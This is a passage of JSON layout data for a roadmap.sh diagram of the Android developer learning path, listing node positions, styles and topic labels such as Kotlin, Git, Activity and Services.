  \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 589.9645995838063,\n        \"y\": 1464.7661110082904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 59,\n      \"positionAbsolute\": {\n        \"x\": 589.9645995838063,\n        \"y\": 1464.7661110082904\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 59\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 59\n      }\n    },\n    {\n      \"id\": \"aDekGDutpYnpNPNS8f4pF\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 706.4645995838063,\n        \"y\": 1464.7661110082904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"TiI5E5awSHaz5ZhptOdZn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 59,\n      \"positionAbsolute\": {\n        \"x\": 706.4645995838063,\n        \"y\": 1464.7661110082904\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 59\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 59\n      }\n    },\n    {\n      \"id\": \"f-ZMlUJj5USPMHipd9kAM\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 957.4237456884,\n        \"y\": 1460.0377047250465\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"TiI5E5awSHaz5ZhptOdZn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 59,\n      \"positionAbsolute\": {\n        \"x\": 957.4237456884,\n        \"y\": 1460.0377047250465\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 59\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 59\n      }\n    },\n    {\n      \"id\": \"6R1rlADdXShSYwOvN11VK\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 957.4237456884,\n        \"y\": 1130.4012119396646\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 311,\n      \"positionAbsolute\": {\n        \"x\": 957.4237456884,\n        \"y\": 1130.4012119396646\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 311\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 311\n      }\n    },\n    {\n      \"id\": \"Yo7mJM0rAN8Rmz_FocBgi\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 680.5507988789656,\n        \"y\": 1759.8444806135112\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"jgadqKYuchjukSsYXvwf7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 55,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 55\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 680.5507988789656,\n        \"y\": 1759.8444806135112\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"XmdyFfnM9BlqrEssRjczP\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 211.5349540213482,\n        \"y\": 1160.1577089522766\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 229,\n      \"height\": 314,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 314\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 211.5349540213482,\n        \"y\": 1160.1577089522766\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 314\n      }\n    },\n    {\n      \"id\": \"cjH8XWlBk0ZBpvxGJ1gsn\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1592.4265444477305\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 214,\n      \"height\": 187,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 187\n      },\n      \"positionAbsolute\": {\n        \"x\": 1051.2829550804522,\n        \"y\": 1592.4265444477305\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 187\n      }\n    },\n    {\n      \"id\": \"PF0TVwzQAg76Z1MdLNQk8\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 414.4034669074458,\n        \"y\": 641.1530180045523\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 183,\n      \"height\": 213,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 213\n      },\n      \"positionAbsolute\": {\n        \"x\": 414.4034669074458,\n        \"y\": 641.1530180045523\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 213\n      }\n    },\n    {\n      \"id\": \"bt3bz2BrOfKDwgYGu6_6S\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 592.7670925742796,\n        \"y\": 643.1530180045522\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 211,\n      \"height\": 211,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 211\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 592.7670925742796,\n        \"y\": 643.1530180045522\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 211\n      }\n    },\n    {\n      \"id\": \"0EZuNys_klW8idbCPmAmP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1195.8618127280065,\n        \"y\": 393.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 130,\n      \"positionAbsolute\": {\n        \"x\": 1195.8618127280065,\n        \"y\": 393.90074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 130\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 130\n      }\n    },\n    {\n      \"id\": \"5Z9o-b3vBA-ITFg86zzYM\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 664.8618127280065,\n        \"y\": 173.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Android\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 68,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 68\n      },\n      \"positionAbsolute\": {\n        \"x\": 664.8618127280065,\n        \"y\": 173.90074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"XgM_I974PlXAu4AbeqHX1\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 733.8618127280065,\n        \"y\": 100.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 73,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 73\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 733.8618127280065,\n        \"y\": 100.90074822234897\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 73\n      }\n    },\n    {\n      \"id\": \"DyPV3nTZO12NvkYUEiJWc\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": 206.8618127280065,\n        \"y\": 88.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"VjGPY3ENanyws-ReANriO\",\n            \"label\": \"React Native Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/react-native\"\n          },\n          {\n            \"id\": \"iShn5xdAC_0vbE7UI2gdV\",\n            \"label\": \"Flutter Roadmap\",\n            \"url\": \"https://roadmap.sh/flutter\"\n          },\n          {\n            \"id\": \"zuD_DPyhCKB8LW3vGImhF\",\n            \"label\": \"iOS Roadmap\",\n            \"url\": \"https://roadmap.sh/ios\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 161,\n      \"positionAbsolute\": {\n        \"x\": 206.8618127280065,\n        \"y\": 88.90074822234897\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 161\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 161\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 909.4971847919508,\n        \"y\": 83.84893300452893\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 142,\n      \"positionAbsolute\": {\n        \"x\": 909.4971847919508,\n        \"y\": 83.84893300452893\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 354,\n        \"height\": 142\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 354,\n        \"height\": 142\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 921.7005592047509,\n        \"y\": 165.8344964222742\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 921.7005592047509,\n        \"y\": 165.8344964222742\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Suws-7f_6Z1ChpfcnxX2M\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 624.8618127280065,\n        \"y\": 313.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pick a Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 624.8618127280065,\n        \"y\": 313.40074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qIzUv8-GgQnkqChEdgD50\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 953.8618127280065,\n        \"y\": 287.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kotlin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 953.8618127280065,\n        \"y\": 287.40074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RBABbkzD_uNFwEO-hssZO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 953.8618127280065,\n        \"y\": 340.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Java\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 953.8618127280065,\n        \"y\": 340.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 624.8618127280065,\n        \"y\": 433.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"The Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 624.8618127280065,\n        \"y\": 433.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZRGsokU313Ky-anWbWK6q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.8618127280065,\n        \"y\": 274.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Development IDE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 205.8618127280065,\n        \"y\": 274.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jl1FsQ5-WGKeFyaILNt_p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.8618127280065,\n        \"y\": 327.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of Kotlin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 205.8618127280065,\n        \"y\": 327.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j69erqfosSZMDlmKcnnn0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.8618127280065,\n        \"y\": 380.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of OOP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 205.8618127280065,\n        \"y\": 380.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cNeT1dJDfgn0ndPzSxhSL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.8618127280065,\n        \"y\": 433.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Structures and Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 205.8618127280065,\n        \"y\": 433.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FVxNjbDBxgf6vkZWw1Awt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.8618127280065,\n        \"y\": 486.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is and how to use Gradle?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 205.8618127280065,\n        \"y\": 486.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5m_7DvInF8C_4Ml1xVI6L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.8618127280065,\n        \"y\": 539.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Create a Basic Hello World App\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 205.8618127280065,\n        \"y\": 539.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5s1CqsYCOXjNroDHaGKGa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1098.7005592047508,\n        \"y\": 433.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1098.7005592047508,\n        \"y\": 433.40074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rqSZ2ATeHbOdIQE9Jlb0B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1160.8618127280065,\n        \"y\": 340.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1160.8618127280065,\n        \"y\": 340.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H-2eb8fLwz8IKYXbeSVKK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1146.3618127280065,\n        \"y\": 523.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1146.3618127280065,\n        \"y\": 523.900748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5LFZdUiFYYU_1sYsouyan\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1146.3618127280065,\n        \"y\": 576.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bitbucket\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1146.3618127280065,\n        \"y\": 576.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q47BtQphp59NkkZoeNXmP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1146.3618127280065,\n        \"y\": 629.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitLab\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1146.3618127280065,\n        \"y\": 629.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-IvRbNv2swO63Xb9UqoHf\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1149.8618127280065,\n        \"y\": 687.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VCS Hosting\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 1149.8618127280065,\n        \"y\": 687.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"5Li8J5iR_ZuyIlxX0LYei\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 875.4237456884,\n        \"y\": 632.6963336096359\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"App Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4_e76QafrB419S2INOeKd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 875.4237456884,\n        \"y\": 632.6963336096359\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nwuVlPmzwJ17mtVQ8Hi9w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 592.7670925742796,\n        \"y\": 632.6963336096359\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Activity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 592.7670925742796,\n        \"y\": 632.6963336096359\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PcHmU1c9hqKyzSjwlRPHk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.5417587642338,\n        \"y\": 634.1262851650183\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 210.5417587642338,\n        \"y\": 634.1262851650183\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nkcdjrswv0WCzUs48BAt9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.5417587642338,\n        \"y\": 687.1262851650183\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Provider\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 210.5417587642338,\n        \"y\": 687.1262851650183\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tFuAToid1Fkmu96BDtW7K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.5417587642338,\n        \"y\": 740.1262851650183\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Broadcast Receiver\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 210.5417587642338,\n        \"y\": 740.1262851650183\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 